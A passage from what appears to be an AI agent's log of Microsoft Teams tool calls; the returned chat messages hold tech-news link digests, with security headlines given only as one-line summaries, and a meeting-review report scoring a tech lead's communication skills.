Ongoing Targeted Campaign Against US Law Firms](https://cloud.google.com/blog/topics/threat-intelligence/targeted-campaign-us-law-firms/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  2. [Report: GKE Inference Gateway delivers up to 92% faster AI responses](https://cloud.google.com/blog/products/containers-kubernetes/gke-inference-gateway-prefix-caching-accelerates-ai-inference/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  3. [Amazon EC2 M9g and M9gd general purpose instances are now available](https://aws.amazon.com/about-aws/whats-new/2026/06/ec2-m9g-m9gd-instances-graviton5-processors-available) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  4. [Run Interactive Workloads on Amazon EMR Serverless with Spark Connect](https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-emr-serverless-spark-connect) \\\\- Cloud or developer-platform update for teams managing infrastructure, deployments, or engineering workflows.\\n  5. [From data to decisions: how LSEG is scaling trusted AI](https://openai.com/index/lseg) \\\\- See how LSEG uses OpenAI to scale trusted AI across its global business, accelerating insights, shrinking release cycles, and empowering 4,000 employees.\\n  6. [TCS and Anthropic launch Global Premier Partnership to drive Enterprise AI scaling - Tata Consultancy Services](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOOHNkYWdNVUtBc3lEOHFLd2RwQ1FoeE0xZXRIWTFYTzd5bFdjQ3kycXVWQ3Q4ZExGSE5zT2t5MUFFMmJ3enBJVnQ3VlhpX3NrNlM3Sldyb1V4SVVVcWhhaVU1aUNwSmVjdnI0Wi1YQ2ZWRFJJQkR4WG1LNUJYVGg4RkdhZkktZ3hQeS1EYTdDdHZjZGtnVTNnWGxtZ052V2FNajFuQlNQMXlwc0lTaFc2TTJpNTJIaEx5RnNvQ3FNLXFkUkFLREpDRA?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Introducing the OpenAI Economic Research Exchange](https://openai.com/index/economic-research-exchange) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  8. [Kalshi adds required employment verification for some prediction market bets](https://www.theverge.com/business/948083/kalshi-prediction-markets-insider-trading) \\\\- The CFTC is considering its first regulation for prediction markets, as arrests over insider trading continue to stack up.\\n  9. [The Miasma worm source code briefly leaked on GitHub](https://www.bleepingcomputer.com/news/security/the-miasma-worm-source-code-briefly-leaked-on-github/) \\\\- The Miasma credential-stealing attack framework, which has recently targeted open-source ecosystems through supply-chain attacks, was briefly open-sourced on GitHub.\\n  10. [Microsoft Build 2026 recap: vision, launches, and top sessions](https://devblogs.microsoft.com/blog/build-recap) \\\\- Technology update likely relevant to software teams, technical leaders, or platform decision-makers.\\n  11. [Google Cloud unpacks governance challenges of AI agents - Computer Weekly](https://news.google.com/rss/articles/CBMiowFBVV95cUxOMHpUU0FSaUhFVFR2T0stZmM3c3VFZm94cjh1aTFkdmxIU1JDeVlUNlVRUWtTLWdMTHFpVVB0LUJ6b3FscTVncDJnMG1JclFLNzVhWjctblZiMmQtdmVYUkZ4S0dmNUhRSG1FcTZFaWx4Rks5VUNleC1yZmxXUXhrMmhMVnZVejFjUzhwNVpTWk9vNWZvNFY0cmRlQi1wTUpMZ3lv?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  12. [GitHub announces npm security changes to tackle supply-chain attacks](https://www.bleepingcomputer.com/news/security/github-announces-npm-security-changes-to-tackle-supply-chain-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Cohere releases North Mini Code, a 30B parameter open-source coding model built for enterprise developers - Crypto Briefing](https://news.google.com/rss/articles/CBMiakFVX3lxTE1zY1VWQTVJSktYY3Y1SmNlLUZjV1dSc0dYMjFza2dqSEstV0FiTHJ6X1BIVm82NEg3eU93aG82MTNzQXFLZ210eFpTWXZMSXhpTVBxSVlMUEhaY3h4MzdITXVNbV9MZUdmWkE?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  14. [Apple, Google add support for Thread 1.4](https://www.theverge.com/tech/947888/apple-google-add-support-for-thread-1-4) \\\\- Apple and Google are updating their smart home streaming devices to Thread 1.4.\\n  15. [GitHub pulls pin on npm's auto-run scripts](https://www.theregister.com/devops/2026/06/10/github-pulls-pin-on-npms-auto-run-scripts/5253453) \\\\- Shai-Hulud worm exploited exactly this. Better late than never, says everyone except the malware authors.\",\n>       \"created_at\": \"2026-06-11T10:30:19.999Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173130177\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173130177\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Detecting and containing AI-powered threats with Google Security Operations agents](https://cloud.google.com/blog/products/identity-security/detecting-and-containing-powered-threats-with-google-security-operations-agents/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  2. [What's new for Managed Service for Apache Spark clusters](https://cloud.google.com/blog/products/data-analytics/enhancements-to-managed-service-for-apache-spark-clusters/) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  3. [OpenAI GPT-5.4 and GPT-5.5 models now available in US East (N. Virginia) on Amazon Bedrock](https://aws.amazon.com/about-aws/whats-new/2026/06/openai-gpt-us-east-virginia-amazon/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  4. [Amazon OpenSearch Service launches MCP Apps for agentic observability](https://aws.amazon.com/about-aws/whats-new/2026/06/opensearch-agentic-observability-mcp-app) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  5. [Access OpenAI models and Codex through your Oracle cloud commitment](https://openai.com/index/openai-on-oracle-cloud) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  6. [Show HN: HelixDB - A graph database built on object storage](https://github.com/HelixDB/helix-db/tree/main) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Microsoft patches Exchange Server zero-day exploited in attacks](https://www.bleepingcomputer.com/news/microsoft/microsoft-patches-exchange-server-zero-day-exploited-in-attacks/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  8. [Is your agent extension actually working?](https://devblogs.microsoft.com/blog/is-your-agent-extension-actually-working) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  9. [Give GitHub Copilot CLI real code intelligence with language servers](https://github.blog/ai-and-ml/github-copilot/give-github-copilot-cli-real-code-intelligence-with-language-servers/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  10. [GitHub nukes 70+ Microsoft repos, breaks CI/CD pipelines, following suspected worm infections](https://www.theregister.com/security/2026/06/08/github-nukes-70-microsoft-repos-amid-suspected-worm-attack/5252169) \\\\- Miasma worm shapeshifts, but cloud secret-scouting remains the goal\\n  11. [Supporting Europe's work in ensuring a trustworthy AI ecosystem](https://openai.com/index/supporting-eu-trustworthy-ai-ecosystem) \\\\- OpenAI supports the EU Code of Practice on AI content transparency, advancing provenance standards and tools to help people understand AI-generated content.\\n  12. [Microsoft Defender 'RoguePlanet' zero-day grants SYSTEM privileges](https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-rogueplanet-zero-day-grants-system-privileges/) \\\\- Security or infrastructure update with potential impact on engineering, operations, or incident response teams.\\n  13. [Google joins the Eclipse Foundation as a strategic member to accelerate AI-integrated developer tools - blog.google](https://news.google.com/rss/articles/CBMi4gFBVV95cUxPSHl5NnhaYVhKTVpPVjMxTGxiWGc0TXZDUXMzSUxtb1h3dklETGhjMlpiNE1zaXBtcDRxUGNwRG5NbXRfYTJpbFRidjdwNlFXVmVFaHd5eWZWQ0tvb0JaakpYMjI0eEFVWWY0YnNwS0xVdFhmVUFUWHA1Xzh4SExlYnRRUHZfazU0bWZzWDFQeTNBLVpheDVWUmkyMzhyWmNqSHRPS3hxQV9xM01ET2g3aElDRmZjNHFZdWJhUWN5RERUMkpka1d4djNReGFHU3I2d1h1U1R1XzgzUUc0VmFfc3hn?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\",\n>       \"created_at\": \"2026-06-11T10:18:50.177Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173130177?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171262336\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171262336\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Updated Format\\n\\n**Source meeting:** Math IQ review, Apr 21, 2026  \\n**Fathom link:**   \\n**Comparison context:** Latest meeting transcript plus the latest 20 Jenish-\\nled Fathom interactions where available.\\n\\n**Score rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.7/10 - Needs Improvement  \\nAverage of Grammar, Communication, and Client Frustration Handling scores.\\n\\n  * **Grammar score:** 3/10 - Poor\\n  * **Communication score:** 5/10 - Needs Improvement\\n  * **Client frustration handling score:** 6/10 - Needs Improvement\\n  * **Client frustration risk:** 4/10 - Low to medium in the latest internal call, but higher in client calls when timeline or access expectations are unclear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting was mostly an internal technical review for the Math IQ\\napp. The team discussed app status, migration from Cloud Functions to\\nSupabase, Firebase push notifications, Google login issues, TTS/audio playback\\nbugs, grammar correction UI, Learn Flow, Roleplay flow, referral program,\\nscheduled notifications, and documentation needs.\\n\\nThe meeting produced useful action items, but the discussion was hard to\\nfollow because many requests were incomplete, repeated, or missing clear\\nownership and deadline framing.\\n\\n### 3\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact:** Unclear client-facing explanation can reduce trust and make the team look unsure.\\n  2. **High impact:** No structured recap can create delivery confusion and missed expectations.\\n  3. **High impact:** Weak grammar and incomplete sentences reduce confidence during estimation, negotiation, and status updates.\\n  4. **Medium impact:** Repeated questions increase meeting time and can frustrate clients.\\n  5. **Medium impact:** Missing owner/date/action formatting makes follow-up harder.\\n  6. **Low to medium impact:** Internal meetings are productive but inefficient when agenda and checklist are absent.\\n\\n### 4\\\\. Missed Opportunities\\n\\n  * Start with a clear agenda: current status, blockers, migration plan, bugs, owners, and deadlines.\\n  * Summarize each topic before moving to the next one.\\n  * Ask developers to confirm acceptance criteria, not just whether something is done.\\n  * Use a visible checklist to avoid repeating the same questions.\\n  * In client-facing calls, explain why access or technical details are needed before asking for them.\\n  * Close with a written recap: decision, owner, due date, and risk.\\n\\n### 5\\\\. Repeated Questions\\n\\n  * Repeated checks like: done?, complete?, okay?, and is it clear? without naming the exact feature.\\n  * Repeated checks around TTS/audio, grammar correction, Roleplay, and referral without a final decision statement.\\n  * Some clarification was necessary because the transcript and conversation were unclear, but several repeats could have been avoided by summarizing after each answer.\\n\\n### 6\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell us details how much complete and how much rest.  \\n**Better:** Please list completed modules, pending modules, blockers, and\\nestimated time for each pending item.\\n\\n  * **Unclear:** Do you use Firebase?  \\n**Better:** Are we using Firebase only for push notifications, or also for\\nauth, database, or Cloud Functions?\\n\\n  * **Unclear:** Is this done?  \\n**Better:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Unclear:** Check Stripe logic.  \\n**Better:** Verify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\\n\\n### 7\\\\. Necessary Follow-Up Questions vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for app/test access before quoting or estimating.\\n  * Asking which backend services are still on Cloud Functions.\\n  * Asking whether Google login, TTS, grammar correction, and Roleplay are tested.\\n  * Asking about production rollout, rollback, and user migration risk.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete? or done? after the same answer without narrowing the issue.\\n  * Re-asking details that should be captured in a checklist.\\n  * Continuing a topic after the owner and action are already clear.\\n\\n### 8\\\\. Root Causes Of Client Frustration\\n\\n  * Clients may feel the team is asking many questions without first explaining why the information is required.\\n  * Delays can feel unexplained if risks, dependencies, and next steps are not communicated early.\\n  * Technical leads sometimes jump into implementation details before confirming the business outcome.\\n  * If questions are broad, the client may need to repeat information or clarify the same point multiple times.\\n\\n### 9\\\\. Communication Patterns Across Recent Interactions\\n\\n**Improvements seen:**\\n\\n  * Better practical next steps in recent calls.\\n  * Better access negotiation in the Apr 20 client call: tester access was accepted when code access was not possible.\\n  * Better risk thinking in the Apr 6 My Ayur call around production deployment, rollback, and user migration.\\n  * More consistent action-item capture in Fathom summaries.\\n\\n**Still missing:**\\n\\n  * More polished English for client-facing explanations.\\n  * Stronger meeting control: agenda, topic boundaries, and recaps.\\n  * Clear reason-before-request communication.\\n  * Proactive timeline updates before the client asks why something is delayed.\\n  * Consistent business-impact framing before technical details.\\n\\n### 10\\\\. Suggested Improvements\\n\\n**Recommended meeting structure:**\\n\\n  1. Start: Today we need to confirm status, blockers, and next steps.\\n  2. For each topic: Current status, issue, decision needed.\\n  3. Ask one question at a time.\\n  4. After each answer: So the decision is __, owner is __, deadline is __.\\n  5. End: I will send a recap with owners, dates, and risks.\\n\\n**Useful replacement phrases:**\\n\\n  * **Instead of:** Can you give access?  \\n**Say:** To estimate accurately, I need tester access to verify the current\\nflow. Code access is not required at this stage.\\n\\n  * **Instead of:** This is done?  \\n**Say:** Can you confirm whether this feature is implemented, tested, and\\nworking on staging?\\n\\n  * **Instead of:** Why delay?  \\n**Say:** The delay is due to two risks: app approval and backend\\ncompatibility. Our fallback plan is rollback if store approval fails.\\n\\n### Final Recommendation\\n\\nThe tech lead should focus first on meeting structure and clarity, not only\\ngrammar. The biggest improvement will come from using a fixed meeting format:\\nagenda, one question at a time, recap after each topic, and final\\nowner/date/action summary. Grammar improvement is also important, especially\\nfor client-facing estimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:47:42.336Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171262336?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781171005304\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781171005304\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**Meeting Reviewer Report** **Source:** Latest Fathom meeting: Math IQ review,\\nApr 21, 2026 https://fathom.video/calls/645205495 **Comparison context:**\\nReviewed the latest meeting transcript plus the latest 20 Jenish-led Fathom\\ninteractions where available. Recent client-facing comparison calls included\\nApr 20, 2026 and Apr 6, 2026. **Score rubric:** 1-3 Poor, 4-6 Needs\\nImprovement, 7-8 Good, 9-10 Excellent **Scores** \\\\- **Overall score:** 4.7/10\\n- Needs Improvement \\\\- **Grammar score:** 3/10 - Poor \\\\- **Communication\\nscore:** 5/10 - Needs Improvement \\\\- **Client frustration handling score:**\\n6/10 - Needs Improvement \\\\- **Client frustration risk level:** 4/10 - Low to\\nmedium in the latest internal call, higher risk in client calls when timeline\\nor access expectations are unclear **Conversation summary** The latest meeting\\nwas mostly an internal technical review for the Math IQ app. The team\\ndiscussed app status, migration from Cloud Functions to Supabase, Firebase\\npush notifications, Google login issues, TTS/audio playback bugs, grammar\\ncorrection UI, Learn Flow, Roleplay flow, referral program, scheduled\\nnotifications, and documentation needs. The meeting produced useful action\\nitems, but the discussion was difficult to follow because many requests were\\nincomplete, repeated, or missing clear ownership and deadline framing.\\n**Missed opportunities** \\\\- Start with a clear agenda: current status,\\nblockers, migration plan, bugs, owners, deadlines. \\\\- Summarize each topic\\nbefore moving to the next one. \\\\- Ask developers to confirm acceptance\\ncriteria, not just whether something is \u201cdone.\u201d \\\\- Use a visible checklist to\\navoid repeating the same questions. \\\\- In client-facing calls, explain why\\naccess or technical details are needed before asking for them. \\\\- Close with a\\nwritten recap: decision, owner, due date, and risk. **Repeated questions** \\\\-\\nRepeated \u201cdone?\u201d, \u201ccomplete?\u201d, \u201cokay?\u201d, \u201cis it clear?\u201d without a precise\\nfeature name. \\\\- Repeated checks around TTS/audio, grammar correction,\\nroleplay, and referral without a final decision statement. \\\\- Some repeated\\nclarification was necessary because the transcript and conversation were\\nunclear, but several repeats could have been avoided by summarizing after each\\nanswer. **Unclear requests** \\\\- \u201cTell us details how much complete and how\\nmuch rest\u201d should be rephrased as: \u201cPlease list completed modules, pending\\nmodules, blockers, and estimated time for each pending item.\u201d \\\\- \u201cDo you use\\nFirebase?\u201d should be followed by scope: \u201cOnly for push notifications, auth,\\ndatabase, or Cloud Functions?\u201d \\\\- \u201cIs this done?\u201d should include the exact\\nscreen, bug, expected behavior, and test result. \\\\- \u201cCheck Stripe logic\u201d\\nshould be: \u201cVerify Stripe subscription purchase, webhook update, coin\\nallocation, and failure handling.\u201d **Necessary follow-up questions vs\\nunnecessary repetition** Necessary follow-ups: \\\\- Asking for app/test access\\nbefore quoting or estimating. \\\\- Asking which backend services are still on\\nCloud Functions. \\\\- Asking whether Google login, TTS, grammar correction, and\\nRoleplay are tested. \\\\- Asking about production rollout, rollback, and user\\nmigration risk. Unnecessary repetition: \\\\- Repeating \u201ccomplete?\u201d or \u201cdone?\u201d\\nafter the same answer without narrowing the issue. \\\\- Re-asking details that\\nshould be captured in a checklist. \\\\- Continuing a topic after the\\nowner/action was already clear. **Root causes of possible client frustration**\\n\\\\- Clients may feel that the team is asking many questions without first\\nexplaining why the information is required. \\\\- Delays can feel unexplained if\\nrisks, dependencies, and exact next steps are not communicated early. \\\\-\\nTechnical leads sometimes jump directly into implementation details instead of\\nconfirming the business outcome first. \\\\- If questions are broad, the client\\nmay need to repeat information or clarify the same point multiple times.\\n**Priority issues ranked by business impact** 1\\\\. **High:** Unclear client-\\nfacing explanation can reduce trust and make the team look unsure. 2\\\\.\\n**High:** No structured meeting recap can create delivery confusion and missed\\nexpectations. 3\\\\. **High:** Weak grammar and incomplete sentences reduce\\nconfidence during estimation, negotiation, and status updates. 4\\\\. **Medium:**\\nRepeated questions increase meeting time and can frustrate clients. 5\\\\.\\n**Medium:** Missing owner/date/action formatting makes follow-up harder. 6\\\\.\\n**Low to medium:** Internal meetings are productive but inefficient when\\nagenda and checklist are absent. **Communication patterns across latest\\ninteractions** Improvements seen: \\\\- Better practical next steps in recent\\ncalls. \\\\- Better access negotiation in the Apr 20 client call: tester access\\nwas accepted when code access was not possible. \\\\- Better risk thinking in the\\nApr 6 My Ayur call around production deployment, rollback, and user migration.\\n\\\\- More consistent action-item capture in Fathom summaries. Still missing: \\\\-\\nMore polished English for client-facing explanations. \\\\- Stronger meeting\\ncontrol: agenda, topic boundaries, recaps. \\\\- Clear reason-before-request\\ncommunication. \\\\- Proactive timeline updates before the client asks why\\nsomething is delayed. \\\\- Consistent business-impact framing before technical\\ndetails. **Suggested improvements** Use this structure for every client or\\nlead meeting: 1\\\\. \u201cToday we need to confirm three things: status, blockers,\\nand next steps.\u201d 2\\\\. For each topic: \u201cCurrent status, issue, decision needed.\u201d\\n3\\\\. Ask one question at a time. 4\\\\. After each answer, say: \u201cSo the decision\\nis __, owner is __, deadline is __.\u201d 5\\\\. End with: \u201cI will send a recap with\\nowners, dates, and risks.\u201d Useful replacement phrases: \\\\- Instead of: \u201cCan you\\ngive access?\u201d Say: \u201cTo estimate accurately, I need tester access to verify the\\ncurrent flow. Code access is not required at this stage.\u201d \\\\- Instead of: \u201cThis\\nis done?\u201d Say: \u201cCan you confirm whether this feature is implemented, tested,\\nand working on staging?\u201d \\\\- Instead of: \u201cWhy delay?\u201d Say: \u201cThe delay is due to\\ntwo risks: app approval and backend compatibility. Our fallback plan is\\nrollback if store approval fails.\u201d **Final recommendation** The tech lead\\nshould focus first on meeting structure and clarity, not only grammar. The\\nbiggest improvement will come from using a fixed meeting format: agenda, one\\nquestion at a time, recap after each topic, and final owner/date/action\\nsummary. Grammar improvement is also important, especially for client-facing\\nestimation and risk communication.\",\n>       \"created_at\": \"2026-06-11T09:43:25.304Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781171005304?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170929097\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170929097\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"Hii\",\n>       \"created_at\": \"2026-06-11T09:42:09.097Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170929097?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928939\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928939\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.939Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928939?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781170928890\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781170928890\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": null,\n>       \"created_at\": \"2026-06-11T09:42:08.89Z\",\n>       \"author_name\": \"\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781170928890?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     }\n>   ]\n> }\n> ```\n>\n> - Ran `python collect_repeat_candidates.py`\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.list_chat_messages\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"top\": 100\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"messages\": [\n>     {\n>       \"message_id\": \"1781862571753\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781862571753\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781862571753?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026\\n\\nReviewed 90 articles published June 12\u201319 across official feeds, Google News,\\nHacker News and major technology publications. Earlier ChatReview events were\\nexcluded.\\n\\n  1. **[AutoJack shows how one malicious page can reach an AI agent host](https://www.microsoft.com/en-us/security/blog/2026/06/18/autojack-single-page-rce-host-running-ai-agent/)** \u2014 **Score: 34/35.** Microsoft showed how untrusted page content could reach a local MCP socket and execute processes in AutoGen Studio. Fixed upstream; PyPI releases were not exposed.\\n  2. **[AWS Security Agent adds threat modeling and coding-agent integrations](https://aws.amazon.com/blogs/aws/aws-security-agent-adds-threat-modeling-kiro-power-and-claude-code-plugin-and-more/)** \u2014 **Score: 34/35.** Adds STRIDE threat modeling, repo/PR scanning with remediation, plus Kiro, Claude Code and MCP integrations\u2014bringing security reviews into developer workflows.\\n  3. **[Cloudflare launches agent-powered Zero Trust deployment stack](https://blog.cloudflare.com/cloudflare-one-stack/)** \u2014 **Score: 34/35.** A library of agent skills can plan, deploy and manage Zero Trust environments, turning network and security migration into an agent-assisted workflow.\\n  4. **[OpenAI simulates deployment to predict model behavior before release](https://openai.com/index/deployment-simulation)** \u2014 **Score: 33/35.** Deployment Simulation privately replays prior conversations against candidate models to predict real-world misbehavior, including agentic tool-use rollouts.\\n  5. **[Amazon Bedrock AgentCore adds managed web search](https://aws.amazon.com/blogs/aws/announcing-web-search-on-amazon-bedrock-agentcore-ground-your-ai-agents-in-current-accurate-web-knowledge/)** \u2014 **Score: 33/35.** AgentCore now offers MCP-based web search with citations and zero customer-data egress, reducing the infrastructure needed to build grounded agents.\\n  6. **[Mastra npm compromise poisoned more than 140 packages](https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/)** \u2014 **Score: 32/35.** Postinstall malware could hit developer machines and CI/CD pipelines before the compromised Mastra packages were removed and publishing access revoked.\\n  7. **[Google pushes its AI chips as a broader Nvidia rival](https://www.wsj.com/tech/ai/google-is-using-nvidias-playbook-to-build-a-rival-ai-chip-business-1eac86f9)** \u2014 **Score: 32/35.** Google is using its cloud reach and years of accelerator development to court external customers and build a larger rival AI-chip business.\\n  8. **[Amazon explores selling Trainium chips outside AWS](https://techcrunch.com/2026/06/18/amazon-hopes-to-challenge-nvidia-more-directly-by-selling-its-ai-chips/)** \u2014 **Score: 32/35.** AWS is in early talks to sell Trainium to outside data centers, signaling a direct challenge to Nvidia and a new AI-infrastructure business.\\n  9. **[AWS WAF lets publishers charge AI bots at the edge](https://aws.amazon.com/blogs/aws/aws-waf-adds-ai-traffic-monetization-capability-to-help-content-owners-charge-ai-bots-for-content-access/)** \u2014 **Score: 32/35.** AWS WAF can meter and charge verified AI bots per request using x402 settlement\u2014a notable new commercial model for publisher and agent access.\\n  10. **[Cloudflare publishes its AI-assisted vulnerability harness](https://blog.cloudflare.com/build-your-own-vulnerability-harness/)** \u2014 **Score: 32/35.** Cloudflare detailed a multi-stage discovery and triage system designed to manage state, false positives and model context limits during security research.\\n  11. **[GitHub Copilot code review now follows AGENTS.md](https://github.blog/changelog/2026-06-18-copilot-code-review-agents-md-support-and-ui-improvements)** \u2014 **Score: 32/35.** Copilot code review now reads repository-level AGENTS.md instructions and is easier to request on draft pull requests; the changes are generally available.\\n  12. **[GitHub Actions gets safer pull_request_target defaults](https://github.blog/changelog/2026-06-18-safer-pull_request_target-defaults-for-github-actions-checkout)** \u2014 **Score: 31/35.** actions/checkout v7 reduces \u201cpwn request\u201d risk, where unreviewed fork code can run with repository secrets and elevated GITHUB_TOKEN permissions.\\n  13. **[MAI-Code-1-Flash expands across 